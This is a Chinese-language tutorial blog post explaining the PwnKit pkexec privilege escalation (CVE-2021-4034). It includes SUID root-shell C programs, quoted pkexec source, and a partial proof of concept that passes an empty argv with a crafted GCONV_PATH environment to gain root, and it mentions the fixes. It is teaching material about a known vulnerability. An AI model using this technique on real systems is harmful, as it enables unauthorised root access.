做人如果沒夢想,那跟鹹魚有什麼分別? - 周星馳 《少林足球》
第14天要針對 Pwnkit 的POC程式以及漏洞原理做說明,但放心啦真的不會太難(跟後面的dirtypipe相比的話)。
首先,我要先介紹一個工具叫做 GTFOBins,這個工具收集了 Linux 中可以被濫用的正常指令,但前提是這些正常指令設定本身是錯誤的。其中有一類叫做 Limited SUID,指得是高權限的程式被設定 SUID 後,如果誘發它去執行 shell 指令,就可以在該 shell 取得高權限,那究竟甚麼是 SUID 呢?
SUID 可以參考鳥哥的 Liunx 教學文章 檔案特殊權限: SUID, SGID, SBIT,裡面有提到使用者可以透過 passwd 指令去改密碼,但修改密碼會修改 /etc/shadow 的檔案,而該檔案我們並沒有權限可以讀取跟修改,那為何改得動呢? 原因就在於 SUID 的神奇功能,它可以讓使用者執行程式時擁有跟程式 owner 的執行權限,所以當使用者執行 passwd 的時候,執行期間本身是 root 權限,等待程式執行完成後才會恢復原本的權限。但我們可以自己刻一隻程式進行測試 :
步驟如下 :
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
system("export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ; /bin/sh") ;
return 0;
}
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
setuid(0); setgid(0);
seteuid(0); setegid(0);
system("export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ; /bin/sh") ;
return 0;
}
#include <stdio.h>
int main(int argc, char *argv[]) {
int a[3] = {1,2,3} ;
a[3] = 87;
printf("%d, %d, %d.\n",a[2],a[3],a[4]);
return 0;
}
435 main (int argc, char *argv[])
436 {
...
534 for (n = 1; n < (guint) argc; n++)
535 {
...
568 }
...
610 path = g_strdup (argv[n]);
...
629 if (path[0] != '/')
630 {
...
632 s = g_find_program_in_path (path);
...
639 argv[n] = path = s;
640 }
|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
V V V V V V
"program" "-option" NULL "value" "PATH=name" NULL
從上面可以發現當今天 argc=0 時第 534 行的邏輯並不會執行,但會留下變數 n=1,這邊是個伏筆,因為 argv 其實是空的,所以n=1會造成後續超越邊界的讀取或是寫入。接著第 610 行會將 argv[1] 的數值讀入,但因為程式執行時argv 下個鄰近位置是 envp,所以 argv[1] 的讀入等同於 envp[0]。接著 632 行會把該變數當成是程式名稱拿去搜尋執行變數,然後 s 就會找到該程式的完整路徑位址,格式為"name=./value",並於 639 行將該數值寫回 argv[1] 中,並等同於蓋掉第一個環境變數 envp[0]。細節部分一樣可以參考來源資料 PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034)。
所以我們可以解讀一下POC程式,並且把關鍵的部分作成兩隻程式,一支是 call.c,另一支則是 show.c,相關程式部分如下所示 :
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("./show", (char*[]){NULL}, env);
return 0;
}
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[], char *envp[]) {
printf("argc:%d.\n",argc);
int i , j;
for(i=0; i<argc; i++) {
printf("argv[%d]=%s.\n",i,argv[i]);
}
printf("------------------------------------------\n");
for(i=0; i<5; i++) {
printf("argv[%d]=%s.\n",i,argv[i]);
}
for(j=0; j<5; j++) {
printf("envp[%d]=%s.\n",j,envp[j]);
}
return 0;
}
步驟如下 :
套用到剛剛上面的描敘,接著 632 行會把該 pwnkit 當成是程式名稱拿去搜尋執行變數,然後 s 就會找到該程式的完整路徑位址,其數值為 GCONV_PATH=.\pwnkit ,並於 639 行將該數值寫回 argv[1] 中,並等同於蓋掉第一個環境變數 envp[0],因此會多出一組環境變數 GCONV_PATH=.\pwnkit。
參考來源資料 7.利用iconv 我們可以知道當環境變數設定 GCONV_PATH=路徑 時會載入底下的 .so 檔內的定義的 gconv_init() 函式,也因此等同於透過 pkexec 去觸發一個攻擊者可控的函式,在該函式內寫入呼叫 /bin/sh 的行為,搭配 pkexec 的 SUID 設定,就可以拿下 root 權限惹。
呼,終於大概講說完這個漏洞80%的概念了,剩下一些細節像是後續環境變數為何要那樣設定,還有 iconv 的觸發原理,就要靠有興趣的各位往下鑽研,我這邊就只能帶個頭而已~~ 至於修補的方法一種是拿掉 SUID 的設定,另一種則是升級 pkexec 的版本,就看各位要選擇哪一種啦...
Pwnkit 回家作業 :
參考資料 :